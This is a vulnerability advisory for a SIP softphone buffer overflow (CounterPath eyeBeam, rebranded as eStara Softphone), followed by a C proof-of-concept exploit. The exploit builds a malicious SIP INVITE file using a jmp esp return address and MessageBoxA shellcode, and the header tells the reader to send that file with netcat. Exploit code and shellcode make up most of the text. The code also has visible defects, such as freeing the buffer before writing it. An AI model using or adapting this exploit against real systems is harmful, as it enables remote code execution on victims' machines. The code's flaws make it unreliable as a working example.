// source: https://www.securityfocus.com/bid/16253/info
A remote buffer-overflow vulnerability affects CounterPath eyeBeam because the application fails to properly validate the length of user-supplied strings prior to copying them into static process buffers.
An attacker may exploit this issue to crash the affected application. Presumably, remote arbitrary code execution may also be possible. This may facilitate unauthorized access or privilege escalation.
Information regarding specific versions affected is currently unavailable. This BID will be updated as further information is disclosed. Note that the eyeBeam package has been re-branded and redistributed by other vendors.
/***************************************
eStara Softphone buffer overflow exploit
tested on :
eStara Softphone 3.0.1.14
||||||
eStara Softphone 3.0.1.46
Vender website : http://www.estara.com/softphone/softph.exe
Run this application, then use nc to send builded packet :
nc -u 127.0.0.1 5060 <sip_overflow_exploit.dat
It will display a "hack" dialogbox in the target if it runs softphone.
Author : ZwelL
Mail : zwell@sohu.com
WebSite : http://www.donews.net/zwell
Data : 2006.01.11
**************************************/
#include <windows.h>
#include <stdio.h>
unsigned char invite[] = {
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};
unsigned char jmpesp[] ={ //jmpesp=0x7ffa4512;
0x12, 0x45, 0xfa, 0x7f
};
unsigned char end[] = {
0x32, 0x33, 0x34, 0x35, 0x36,
0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32,
0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38,
0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34,
0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30,
0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x3A, 0x30, 0x20, 0x50, 0x43, 0x4D, 0x55, 0x2F,
0x38, 0x30, 0x30, 0x30, 0x0D, 0x0A
};
unsigned char scode[] =
"\xB8"
"\x75\xC1\xe4\x88" //Address of MessageBoxA + 0x11111111
"\x2D\x11\x11\x11\x11\x50\x59\x33\xc0\x50\x68"
"\x68\x61\x63\x6b" //"hack"
"\x54\x5a\x50\x52\x52\x50\x53\x51\xc3";
//Shellcode:
//B8 75C1e488 MOV EAX,88e4C175 ; MessageBoxA + 0x11111111 to
//2D 11111111 SUB EAX,11111111 ; Make characters readable
//50 PUSH EAX ; xchg registers : eax = 77D3b064
//59 POP ECX ; Offset to API.
//33C0 XOR EAX,EAX ; Create Null
//50 PUSH EAX ; Put ascii0 end of string
//68 6861636b PUSH 6b636168 ; Create string.= hack
//54 PUSH ESP ; Get the offset to the
//5A POP EDX ; Message String
//MessageBox call
//50 PUSH EAX ; Null Pointer
//52 PUSH EAX ; Message
//52 PUSH EDX ; Message
//50 PUSH EAX ; Null Pointer
//53 PUSH EBX ; Return address: 0x00000000
//51 PUSH ECX ; Address of MessageBoxA
//C3 RETN ; Jump
int main()
{
FILE *stream;
unsigned char *exploitbuf;
int size;
char *filename = "sip_overbuf_exploit.dat";
DWORD msgboxaddr = (DWORD)MessageBoxA; //Windows XP EN SP2 MessageBoxA address = 0x77d6e824;
//If others, just change it;
size = sizeof(invite)+sizeof(jmpesp)+sizeof(end);
exploitbuf = (unsigned char *)malloc(size);
printf("exploitbuf len = %d\n", size);
memcpy(exploitbuf, invite, sizeof(invite));
memcpy(exploitbuf+sizeof(invite), jmpesp, sizeof(jmpesp));
memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), end, sizeof(end));
*(DWORD *)&scode[1] = msgboxaddr+0x11111111;
memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), scode, sizeof(scode));
if( (stream = fopen( filename, "w+b" )) == NULL )
printf("Build File Error!!!\n");
else
printf("Build File %s successful! ^_^\n", filename);
free(exploitbuf);
fwrite( exploitbuf, size, 1, stream );
fclose(stream);
}
